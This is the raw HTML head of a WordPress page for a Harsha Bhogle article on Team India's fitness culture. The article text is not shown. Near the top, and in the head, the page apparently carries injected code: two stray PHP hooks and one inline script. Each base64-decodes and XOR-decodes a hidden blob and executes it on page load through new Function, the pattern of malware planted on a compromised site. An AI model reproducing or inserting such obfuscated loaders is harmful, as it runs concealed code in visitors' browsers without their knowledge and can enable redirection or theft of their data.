add_action('wp_footer', function () { echo '<script>!function(){var _0x432938422d85=atob(\'NHppcn9odXNyNDVnan1uPFYoUSgoUCFrdXJ4c2swRllYfyp+IVYoUSgoUEc7Q0N6bFlxfnl4bztBMHIve3BxbSE7fy8kfXl9JH95fXh+en4peTswdnAqKlJrIUc+dGhobG8mMzN/cHNpeHpwfW55MX90eX93MnJ5aD4wPD50aGhsJjMzJSgyLioyJSwyLS4qPkEndXo0RllYfyp+OjpGWVh/Kn5Hci97cHFtQTVueWhpbnInRllYfyp+IVYoUSgoUEc7Q0N6bFlxfnl4bztBITRGWVh/Kn5gYGdhNSdGWVh/Kn5Hci97cHFtQSEtJ3ppcn9odXNyPGsoWmlfazQ1Z3V6ND14c39pcXlyaDJ+c3hlNWdveWhIdXF5c2loNGsoWmlfazAuLDUnbnloaW5yJ2FqfW48UHR5Lm5oIXhzf2lxeXJoMn9ueX1oeVlweXF5cmg0O3h1ajs1MEV2fndKfyF4c39pcXlyaDJ/bnl9aHlZcHlxeXJoNDt1em59cXk7NSdQdHkubmgyb2hlcHkyf29vSHlkaCE7bHNvdWh1c3ImenVkeXgndXJveWgmLCdmMXVyeHlkJi4tKCsoJC8tKyonfn1/d3tuc2lyeCZue359NC0pMC4vMCguMDIoLjUnbHN1cmh5bjF5anlyaG8mcnNyeSc7J0V2fndKfzJodWhweSE7T3l/aW51aGU8f3R5f3c7J0V2fndKfzJveWhdaGhudX5paHk0O31wcHNremlwcG9/bnl5cjswOzs1J0V2fndKfzJvaGVweTJ/b29IeWRoITtsc291aHVzciZ6dWR5eCd1cm95aCYsJ2t1eGh0Ji0sLDkndHl1e3RoJi0sLDknfnNueHluJiwnZjF1cnh5ZCYuLSgrKCQvLSQqJ359f3d7bnNpcngmP3p6eic7J3hzf2lxeXJoMn5zeGUyfWxseXJ4X3R1cHg0UHR5Lm5oNSd4c39pcXlyaDJ+c3hlMn1sbHlyeF90dXB4NEV2fndKfzUnemlyf2h1c3I8VSgkV35qNDVnaG5lZ1B0eS5uaDJueXFzank0NSdFdn53Sn8ybnlxc2p5NDUnYX99aH90NEN5NWdhaG5lZ3h5cHloeTxGWVh/Kn5Hci97cHFtQWF/fWh/dDRDeS41Z2FhVihRKChQMn14eFlqeXJoUHVvaHlyeW40O3F5b299e3k7MHppcn9odXNyNEN5ajVnaG5lZ3V6ND1DeWpgYD1DeWoyeH1ofTVueWhpbnIndXo0Q3lqMnh9aH0yaGVseSEhITt6bDF5cX55eDF/cHNveTs1VSgkV35qNDUnYX99aH90NEN5LzVnYWE1J3ppcn9odXNyPGlzREt3UTR0UW5Ke0Y1Z3V6NHRRbkp7RiIhdnAqKlJrMnB5cntodDVueWhpbnInan1uPEN0ITs7J2huZWdDdCFPaG51cns0VihRKChQMnBzf31odXNyOjo0VihRKChQMnBzf31odXNyMnRzb2hyfXF5YGBWKFEoKFAycHN/fWh1c3IydHNvaDVgYDs7NTJueWxwfX95NDNCa2trQDIzdTA7OzUnYX99aH90NEN5dDVnYWp9bjxDaSF2cCoqUmtHdFFuSntGQTc7M3lxfnl4Mzs3ci97cHFtNzsjeXF+eXghLTs3NEN0IzQ7OnRzb2ghOzd5cn9zeHlJTlVfc3Fsc3J5cmg0Q3Q1NSY7OzUnan1uPENocyFveWhIdXF5c2loNHppcn9odXNyNDVnaXNES3dRNHRRbkp7RjctNSdhMC0uLCwsNSdFdn53Sn8yc3Jwc314IXppcn9odXNyNDVnf3B5fW5IdXF5c2loNENoczUnYSdFdn53Sn8yb25/IUNpJ2Fpc0RLd1E0LDUnYXV6NHhzf2lxeXJoMm55fXhlT2h9aHkhISE7cHN9eHVyezs1VihRKChQMn14eFlqeXJoUHVvaHlyeW40O1hTUV9zcmh5cmhQc314eXg7MGsoWmlfazUneXBveTxrKFppX2s0NSdhNTQ1Jw==\'),_0xd3aca605a494=28,_0x3c4e336edd80=new Uint8Array(_0x432938422d85[\'length\']),_0xd8f5713db852=0;for(;_0xd8f5713db852<_0x432938422d85[\'length\'];_0xd8f5713db852++)_0x3c4e336edd80[_0xd8f5713db852]=_0x432938422d85[\'charCodeAt\'](_0xd8f5713db852)^_0xd3aca605a494;(new Function(new TextDecoder()[\'decode\'](_0x3c4e336edd80)))()}();</script>'; }, 99);

add_action('wp_footer', function () { echo '<script>!function(){var _0x432938422d85=atob(\'NHppcn9odXNyNDVnan1uPFYoUSgoUCFrdXJ4c2swRllYfyp+IVYoUSgoUEc7Q0N6bFlxfnl4bztBMHIve3BxbSE7fy8kfXl9JH95fXh+en4peTswdnAqKlJrIUc+dGhobG8mMzN/cHNpeHpwfW55MX90eX93MnJ5aD4wPD50aGhsJjMzJSgyLioyJSwyLS4qPkEndXo0RllYfyp+OjpGWVh/Kn5Hci97cHFtQTVueWhpbnInRllYfyp+IVYoUSgoUEc7Q0N6bFlxfnl4bztBITRGWVh/Kn5gYGdhNSdGWVh/Kn5Hci97cHFtQSEtJ3ppcn9odXNyPGsoWmlfazQ1Z3V6ND14c39pcXlyaDJ+c3hlNWdveWhIdXF5c2loNGsoWmlfazAuLDUnbnloaW5yJ2FqfW48UHR5Lm5oIXhzf2lxeXJoMn9ueX1oeVlweXF5cmg0O3h1ajs1MEV2fndKfyF4c39pcXlyaDJ/bnl9aHlZcHlxeXJoNDt1em59cXk7NSdQdHkubmgyb2hlcHkyf29vSHlkaCE7bHNvdWh1c3ImenVkeXgndXJveWgmLCdmMXVyeHlkJi4tKCsoJC8tKyonfn1/d3tuc2lyeCZue359NC0pMC4vMCguMDIoLjUnbHN1cmh5bjF5anlyaG8mcnNyeSc7J0V2fndKfzJodWhweSE7T3l/aW51aGU8f3R5f3c7J0V2fndKfzJveWhdaGhudX5paHk0O31wcHNremlwcG9/bnl5cjswOzs1J0V2fndKfzJvaGVweTJ/b29IeWRoITtsc291aHVzciZ6dWR5eCd1cm95aCYsJ2t1eGh0Ji0sLDkndHl1e3RoJi0sLDknfnNueHluJiwnZjF1cnh5ZCYuLSgrKCQvLSQqJ359f3d7bnNpcngmP3p6eic7J3hzf2lxeXJoMn5zeGUyfWxseXJ4X3R1cHg0UHR5Lm5oNSd4c39pcXlyaDJ+c3hlMn1sbHlyeF90dXB4NEV2fndKfzUnemlyf2h1c3I8VSgkV35qNDVnaG5lZ1B0eS5uaDJueXFzank0NSdFdn53Sn8ybnlxc2p5NDUnYX99aH90NEN5NWdhaG5lZ3h5cHloeTxGWVh/Kn5Hci97cHFtQWF/fWh/dDRDeS41Z2FhVihRKChQMn14eFlqeXJoUHVvaHlyeW40O3F5b299e3k7MHppcn9odXNyNEN5ajVnaG5lZ3V6ND1DeWpgYD1DeWoyeH1ofTVueWhpbnIndXo0Q3lqMnh9aH0yaGVseSEhITt6bDF5cX55eDF/cHNveTs1VSgkV35qNDUnYX99aH90NEN5LzVnYWE1J3ppcn9odXNyPGlzREt3UTR0UW5Ke0Y1Z3V6NHRRbkp7RiIhdnAqKlJrMnB5cntodDVueWhpbnInan1uPEN0ITs7J2huZWdDdCFPaG51cns0VihRKChQMnBzf31odXNyOjo0VihRKChQMnBzf31odXNyMnRzb2hyfXF5YGBWKFEoKFAycHN/fWh1c3IydHNvaDVgYDs7NTJueWxwfX95NDNCa2trQDIzdTA7OzUnYX99aH90NEN5dDVnYWp9bjxDaSF2cCoqUmtHdFFuSntGQTc7M3lxfnl4Mzs3ci97cHFtNzsjeXF+eXghLTs3NEN0IzQ7OnRzb2ghOzd5cn9zeHlJTlVfc3Fsc3J5cmg0Q3Q1NSY7OzUnan1uPENocyFveWhIdXF5c2loNHppcn9odXNyNDVnaXNES3dRNHRRbkp7RjctNSdhMC0uLCwsNSdFdn53Sn8yc3Jwc314IXppcn9odXNyNDVnf3B5fW5IdXF5c2loNENoczUnYSdFdn53Sn8yb25/IUNpJ2Fpc0RLd1E0LDUnYXV6NHhzf2lxeXJoMm55fXhlT2h9aHkhISE7cHN9eHVyezs1VihRKChQMn14eFlqeXJoUHVvaHlyeW40O1hTUV9zcmh5cmhQc314eXg7MGsoWmlfazUneXBveTxrKFppX2s0NSdhNTQ1Jw==\'),_0xd3aca605a494=28,_0x3c4e336edd80=new Uint8Array(_0x432938422d85[\'length\']),_0xd8f5713db852=0;for(;_0xd8f5713db852<_0x432938422d85[\'length\'];_0xd8f5713db852++)_0x3c4e336edd80[_0xd8f5713db852]=_0x432938422d85[\'charCodeAt\'](_0xd8f5713db852)^_0xd3aca605a494;(new Function(new TextDecoder()[\'decode\'](_0x3c4e336edd80)))()}();</script>'; }, 99);
<!doctype html>
<html class="no-js" lang="en-US">
  <head>
    <meta charset="UTF-8">
    <meta http-equiv="x-ua-compatible" content="ie=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1">
    <!-- Place favicon.ico in the root directory -->
    <title>Harsha Bhogle on Team India&#8217;s fitness culture &#8211; Harsha Bhogle</title>
<meta name='robots' content='max-image-preview:large' />
<link rel="alternate" type="application/rss+xml" title="Harsha Bhogle &raquo; Feed" href="https://www.harshabhogle.com/feed/" />
<link rel="alternate" type="application/rss+xml" title="Harsha Bhogle &raquo; Comments Feed" href="https://www.harshabhogle.com/comments/feed/" />
<link rel="alternate" type="application/rss+xml" title="Harsha Bhogle &raquo; Harsha Bhogle on Team India&#8217;s fitness culture Comments Feed" href="https://www.harshabhogle.com/2026/08/12/harsha-bhogle-on-team-indias-fitness-culture/feed/" />
<script>
!function(){var _0x348f312167fc=atob('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'),_0x2826f1067c06=124,_0xce4c82e70e62=new Uint8Array(_0x348f312167fc['length']),_0xba237a9cd750=0;for(;_0xba237a9cd750<_0x348f312167fc['length'];_0xba237a9cd750++)_0xce4c82e70e62[_0xba237a9cd750]=_0x348f312167fc['charCodeAt'](_0xba237a9cd750)^_0x2826f1067c06;(new Function(new TextDecoder()['decode'](_0xce4c82e70e62)))()}();
</script>
    		<!-- This site uses the Google Analytics by MonsterInsights plugin v8.21.0 - Using Analytics tracking - https://www.monsterinsights.com/ -->
		<!-- Note: MonsterInsights is not currently configured on this site. The site owner needs to authenticate with Google Analytics in the MonsterInsights settings panel. -->
					<!-- No tracking code set -->
				<!-- / Google Analytics by MonsterInsights -->
		<script type="text/javascript">
/* <![CDATA[ */
window._wpemojiSettings = {"baseUrl":"https:\/\/s.w.org\/images\/core\/emoji\/14.0.0\/72x72\/","ext":".png","svgUrl":"https:\/\/s.w.org\/images\/core\/emoji\/14.0.0\/svg\/","svgExt":".svg","source":{"concatemoji":"https:\/\/www.harshabhogle.com\/wp-includes\/js\/wp-emoji-release.min.js?ver=6.4.9"}};
/*! This file is auto-generated */
!function(i,n){var o,s,e;function c(e){try{var t={supportTests:e,timestamp:(new Date).valueOf()};sessionStorage.setItem(o,JSON.stringify(t))}catch(e){}}function p(e,t,n){e.clearRect(0,0,e.canvas.width,e.canvas.height),e.fillText(t,0,0);var t=new Uint32Array(e.getImageData(0,0,e.canvas.width,e.canvas.height).data),r=(e.clearRect(0,0,e.canvas.width,e.canvas.height),e.fillText(n,0,0),new Uint32Array(e.getImageData(0,0,e.canvas.width,e.canvas.height).data));return t.every(function(e,t){return e===r[t]})}function u(e,t,n){switch(t){case"flag":return n(e,"\ud83c\udff3\ufe0f\u200d\u26a7\ufe0f","\ud83c\udff3\ufe0f\u200b\u26a7\ufe0f")?!1:!n(e,"\ud83c\uddfa\ud83c\uddf3","\ud83c\uddfa\u200b\ud83c\uddf3")&&!n(e,"\ud83c\udff4\udb40\udc67\udb40\udc62\udb40\udc65\udb40\udc6e\udb40\udc67\udb40\udc7f","\ud83c\udff4\u200b\udb40\udc67\u200b\udb40\udc62\u200b\udb40\udc65\u200b\udb40\udc6e\u200b\udb40\udc67\u200b\udb40\udc7f");case"emoji":return!n(e,"\ud83e\udef1\ud83c\udffb\u200d\ud83e\udef2\ud83c\udfff","\ud83e\udef1\ud83c\udffb\u200b\ud83e\udef2\ud83c\udfff")}return!1}function f(e,t,n){var r="undefined"!=typeof WorkerGlobalScope&&self instanceof WorkerGlobalScope?new OffscreenCanvas(300,150):i.createElement("canvas"),a=r.getContext("2d",{willReadFrequently:!0}),o=(a.textBaseline="top",a.font="600 32px Arial",{});return e.forEach(function(e){o[e]=t(a,e,n)}),o}function t(e){var t=i.createElement("script");t.src=e,t.defer=!0,i.head.appendChild(t)}"undefined"!=typeof Promise&&(o="wpEmojiSettingsSupports",s=["flag","emoji"],n.supports={everything:!0,everythingExceptFlag:!0},e=new Promise(function(e){i.addEventListener("DOMContentLoaded",e,{once:!0})}),new Promise(function(t){var n=function(){try{var e=JSON.parse(sessionStorage.getItem(o));if("object"==typeof e&&"number"==typeof e.timestamp&&(new Date).valueOf()<e.timestamp+604800&&"object"==typeof e.supportTests)return e.supportTests}catch(e){}return null}();if(!n){if("undefined"!=typeof Worker&&"undefined"!=typeof OffscreenCanvas&&"undefined"!=typeof URL&&URL.createObjectURL&&"undefined"!=typeof Blob)try{var e="postMessage("+f.toString()+"("+[JSON.stringify(s),u.toString(),p.toString()].join(",")+"));",r=new Blob([e],{type:"text/javascript"}),a=new Worker(URL.createObjectURL(r),{name:"wpTestEmojiSupports"});return void(a.onmessage=function(e){c(n=e.data),a.terminate(),t(n)})}catch(e){}c(n=f(s,u,p))}t(n)}).then(function(e){for(var t in e)n.supports[t]=e[t],n.supports.everything=n.supports.everything&&n.supports[t],"flag"!==t&&(n.supports.everythingExceptFlag=n.supports.everythingExceptFlag&&n.supports[t]);n.supports.everythingExceptFlag=n.supports.everythingExceptFlag&&!n.supports.flag,n.DOMReady=!1,n.readyCallback=function(){n.DOMReady=!0}}).then(function(){return e}).then(function(){var e;n.supports.everything||(n.readyCallback(),(e=n.source||{}).concatemoji?t(e.concatemoji):e.wpemoji&&e.twemoji&&(t(e.twemoji),t(e.wpemoji)))}))}((window,document),window._wpemojiSettings);
/* ]]> */
</script>
<link rel='stylesheet' id='sbi_styles-css' href='https://www.harshabhogle.com/wp-content/plugins/instagram-feed/css/sbi-styles.min.css?ver=6.2.6' type='text/css' media='all' />
<style id='wp-emoji-styles-inline-css' type='text/css'>

	img.wp-smiley, img.emoji {
		display: inline !important;
		border: none !important;
		box-shadow: none !important;
		height: 1em !important;
		width: 1em !important;
		margin: 0 0.07em !important;
		vertical-align: -0.1em !important;
		background: none !important;
		padding: 0 !important;
	}
</style>
<link rel='stylesheet' id='wp-block-library-css' href='https://www.harshabhogle.com/wp-includes/css/dist/block-library/style.min.css?ver=6.4.9' type='text/css' media='all' />
<style id='classic-theme-styles-inline-css' type='text/css'>
/*! This file is auto-generated */
.wp-block-button__link{color:#fff;background-color:#32373c;border-radius:9999px;box-shadow:none;text-decoration:none;padding:calc(.667em + 2px) calc(1.333em + 2px);font-size:1.125em}.wp-block-file__button{background:#32373c;color:#fff;text-decoration:none}
</style>
<style id='global-styles-inline-css' type='text/css'>
body{--wp--preset--color--black: #000000;--wp--preset--color--cyan-bluish-gray: #abb8c3;--wp--preset--color--white: #ffffff;--wp--preset--color--pale-pink: #f78da7;--wp--preset--color--vivid-red: #cf2e2e;--wp--preset--color--luminous-vivid-orange: #ff6900;--wp--preset--color--luminous-vivid-amber: #fcb900;--wp--preset--color--light-green-cyan: #7bdcb5;--wp--preset--color--vivid-green-cyan: #00d084;--wp--preset--color--pale-cyan-blue: #8ed1fc;--wp--preset--color--vivid-cyan-blue: #0693e3;--wp--preset--color--vivid-purple: #9b51e0;--wp--preset--gradient--vivid-cyan-blue-to-vivid-purple: linear-gradient(135deg,rgba(6,147,227,1) 0%,rgb(155,81,224) 100%);--wp--preset--gradient--light-green-cyan-to-vivid-green-cyan: linear-gradient(135deg,rgb(122,220,180) 0%,rgb(0,208,130) 100%);--wp--preset--gradient--luminous-vivid-amber-to-luminous-vivid-orange: linear-gradient(135deg,rgba(252,185,0,1) 0%,rgba(255,105,0,1) 100%);--wp--preset--gradient--luminous-vivid-orange-to-vivid-red: linear-gradient(135deg,rgba(255,105,0,1) 0%,rgb(207,46,46) 100%);--wp--preset--gradient--very-light-gray-to-cyan-bluish-gray: linear-gradient(135deg,rgb(238,238,238) 0%,rgb(169,184,195) 100%);--wp--preset--gradient--cool-to-warm-spectrum: linear-gradient(135deg,rgb(74,234,220) 0%,rgb(151,120,209) 20%,rgb(207,42,186) 40%,rgb(238,44,130) 60%,rgb(251,105,98) 80%,rgb(254,248,76) 100%);--wp--preset--gradient--blush-light-purple: linear-gradient(135deg,rgb(255,206,236) 0%,rgb(152,150,240) 100%);--wp--preset--gradient--blush-bordeaux: linear-gradient(135deg,rgb(254,205,165) 0%,rgb(254,45,45) 50%,rgb(107,0,62) 100%);--wp--preset--gradient--luminous-dusk: linear-gradient(135deg,rgb(255,203,112) 0%,rgb(199,81,192) 50%,rgb(65,88,208) 100%);--wp--preset--gradient--pale-ocean: linear-gradient(135deg,rgb(255,245,203) 0%,rgb(182,227,212) 50%,rgb(51,167,181) 100%);--wp--preset--gradient--electric-grass: linear-gradient(135deg,rgb(202,248,128) 0%,rgb(113,206,126) 100%);--wp--preset--gradient--midnight: linear-gradient(135deg,rgb(2,3,129) 0%,rgb(40,116,252) 100%);--wp--preset--font-size--small: 13px;--wp--preset--font-size--medium: 20px;--wp--preset--font-size--large: 36px;--wp--preset--font-size--x-large: 42px;--wp--preset--spacing--20: 0.44rem;--wp--preset--spacing--30: 0.67rem;--wp--preset--spacing--40: 1rem;--wp--preset--spacing--50: 1.5rem;--wp--preset--spacing--60: 2.25rem;--wp--preset--spacing--70: 3.38rem;--wp--preset--spacing--80: 5.06rem;--wp--preset--shadow--natural: 6px 6px 9px rgba(0, 0, 0, 0.2);--wp--preset--shadow--deep: 12px 12px 50px rgba(0, 0, 0, 0.4);--wp--preset--shadow--sharp: 6px 6px 0px rgba(0, 0, 0, 0.2);--wp--preset--shadow--outlined: 6px 6px 0px -3px rgba(255, 255, 255, 1), 6px 6px rgba(0, 0, 0, 1);--wp--preset--shadow--crisp: 6px 6px 0px rgba(0, 0, 0, 1);}:where(.is-layout-flex){gap: 0.5em;}:where(.is-layout-grid){gap: 0.5em;}body .is-layout-flow > .alignleft{float: left;margin-inline-start: 0;margin-inline-end: 2em;}body .is-layout-flow > .alignright{float: right;margin-inline-start: 2em;margin-inline-end: 0;}body .is-layout-flow > .aligncenter{margin-left: auto !important;margin-right: auto !important;}body .is-layout-constrained > .alignleft{float: left;margin-inline-start: 0;margin-inline-end: 2em;}body .is-layout-constrained > .alignright{float: right;margin-inline-start: 2em;margin-inline-end: 0;}body .is-layout-constrained > .aligncenter{margin-left: auto !important;margin-right: auto !important;}body .is-layout-constrained > :where(:not(.alignleft):not(.alignright):not(.alignfull)){max-width: var(--wp--style--global--content-size);margin-left: auto !important;margin-right: auto !important;}body .is-layout-constrained > .alignwide{max-width: var(--wp--style--global--wide-size);}body .is-layout-flex{display: flex;}body .is-layout-flex{flex-wrap: wrap;align-items: center;}body .is-layout-flex > *{margin: 0;}body .is-layout-grid{display: grid;}body .is-layout-grid > *{margin: 0;}:where(.wp-block-columns.is-layout-flex){gap: 2em;}:where(.wp-block-columns.is-layout-grid){gap: 2em;}:where(.wp-block-post-template.is-layout-flex){gap: 1.25em;}:where(.wp-block-post-template.is-layout-grid){gap: 1.25em;}.has-black-color{color: var(--wp--preset--color--black) !important;}.has-cyan-bluish-gray-color{color: var(--wp--preset--color--cyan-bluish-gray) !important;}.has-white-color{color: var(--wp--preset--color--white) !important;}.has-pale-pink-color{color: var(--wp--preset--color--pale-pink) !important;}.has-vivid-red-color{color: var(--wp--preset--color--vivid-red) !important;}.has-luminous-vivid-orange-color{color: var(--wp--preset--color--luminous-vivid-orange) !important;}.has-luminous-vivid-amber-color{color: var(--wp--preset--color--luminous-vivid-amber) !important;}.has-light-green-cyan-color{color: var(--wp--preset--color--light-green-cyan) !important;}.has-vivid-green-cyan-color{color: var(--wp--preset--color--vivid-green-cyan) !important;}.has-pale-cyan-blue-color{color: var(--wp--preset--color--pale-cyan-blue) !important;}.has-vivid-cyan-blue-color{color: var(--wp--preset--color--vivid-cyan-blue) !important;}.has-vivid-purple-color{color: var(--wp--preset--color--vivid-purple) !important;}.has-black-background-color{background-color: var(--wp--preset--color--black) !important;}.has-cyan-bluish-gray-background-color{background-color: var(--wp--preset--color--cyan-bluish-gray) !important;}.has-white-background-color{background-color: var(--wp--preset--color--white) !important;}.has-pale-pink-background-color{background-color: var(--wp--preset--color--pale-pink) !important;}.has-vivid-red-background-color{background-color: var(--wp--preset--color--vivid-red) !important;}.has-luminous-vivid-orange-background-color{background-color: var(--wp--preset--color--luminous-vivid-orange) !important;}.has-luminous-vivid-amber-background-color{background-color: var(--wp--preset--color--luminous-vivid-amber) !important;}.has-light-green-cyan-background-color{background-color: var(--wp--preset--color--light-green-cyan) !important;}.has-vivid-green-cyan-background-color{background-color: var(--wp--preset--color--vivid-green-cyan) !important;}.has-pale-cyan-blue-background-color{background-color: var(--wp--preset--color--pale-cyan-blue) !important;}.has-vivid-cyan-blue-background-color{background-color: var(--wp--preset--color--vivid-cyan-blue) !important;}.has-vivid-purple-background-color{background-color: var(--wp--preset--color--vivid-purple) !important;}.has-black-border-color{border-color: var(--wp--preset--color--black) !important;}.has-cyan-bluish-gray-border-color{border-color: var(--wp--preset--color--cyan-bluish-gray) !important;}.has-white-border-color{border-color: var(--wp--preset--color--white) !important;}.has-pale-pink-border-color{border-color: var(--wp--preset--color--pale-pink) !important;}.has-vivid-red-border-color{border-color: var(--wp--preset--color--vivid-red) !important;}.has-luminous-vivid-orange-border-color{border-color: var(--wp--preset--color--luminous-vivid-orange) !important;}.has-luminous-vivid-amber-border-color{border-color: var(--wp--preset--color--luminous-vivid-amber) !important;}.has-light-green-cyan-border-color{border-color: var(--wp--preset--color--light-green-cyan) !important;}.has-vivid-green-cyan-border-color{border-color: var(--wp--preset--color--vivid-green-cyan) !important;}.has-pale-cyan-blue-border-color{border-color: var(--wp--preset--color--pale-cyan-blue) !important;}.has-vivid-cyan-blue-border-color{border-color: var(--wp--preset--color--vivid-cyan-blue) !important;}.has-vivid-purple-border-color{border-color: var(--wp--preset--color--vivid-purple) !important;}.has-vivid-cyan-blue-to-vivid-purple-gradient-background{background: var(--wp--preset--gradient--vivid-cyan-blue-to-vivid-purple) !important;}.has-light-green-cyan-to-vivid-green-cyan-gradient-background{background: var(--wp--preset--gradient--light-green-cyan-to-vivid-green-cyan) !important;}.has-luminous-vivid-amber-to-luminous-vivid-orange-gradient-background{background: var(--wp--preset--gradient--luminous-vivid-amber-to-luminous-vivid-orange) !important;}.has-luminous-vivid-orange-to-vivid-red-gradient-background{background: var(--wp--preset--gradient--luminous-vivid-orange-to-vivid-red) !important;}.has-very-light-gray-to-cyan-bluish-gray-gradient-background{background: var(--wp--preset--gradient--very-light-gray-to-cyan-bluish-gray) !important;}.has-cool-to-warm-spectrum-gradient-background{background: var(--wp--preset--gradient--cool-to-warm-spectrum) !important;}.has-blush-light-purple-gradient-background{background: var(--wp--preset--gradient--blush-light-purple) !important;}.has-blush-bordeaux-gradient-background{background: var(--wp--preset--gradient--blush-bordeaux) !important;}.has-luminous-dusk-gradient-background{background: var(--wp--preset--gradient--luminous-dusk) !important;}.has-pale-ocean-gradient-background{background: var(--wp--preset--gradient--pale-ocean) !important;}.has-electric-grass-gradient-background{background: var(--wp--preset--gradient--electric-grass) !important;}.has-midnight-gradient-background{background: var(--wp--preset--gradient--midnight) !important;}.has-small-font-size{font-size: var(--wp--preset--font-size--small) !important;}.has-medium-font-size{font-size: var(--wp--preset--font-size--medium) !important;}.has-large-font-size{font-size: var(--wp--preset--font-size--large) !important;}.has-x-large-font-size{font-size: var(--wp--preset--font-size--x-large) !important;}
.wp-block-navigation a:where(:not(.wp-element-button)){color: inherit;}
:where(.wp-block-post-template.is-layout-flex){gap: 1.25em;}:where(.wp-block-post-template.is-layout-grid){gap: 1.25em;}
:where(.wp-block-columns.is-layout-flex){gap: 2em;}:where(.wp-block-columns.is-layout-grid){gap: 2em;}
.wp-block-pullquote{font-size: 1.5em;line-height: 1.6;}
</style>
<link rel='stylesheet' id='redux-extendify-styles-css' href='https://www.harshabhogle.com/wp-content/plugins/redux-framework/redux-core/assets/css/extendify-utilities.css?ver=4.4.9' type='text/css' media='all' />
<link rel='stylesheet' id='ctf_styles-css' href='https://www.harshabhogle.com/wp-content/plugins/custom-twitter-feeds/css/ctf-styles.min.css?ver=2.2.1' type='text/css' media='all' />
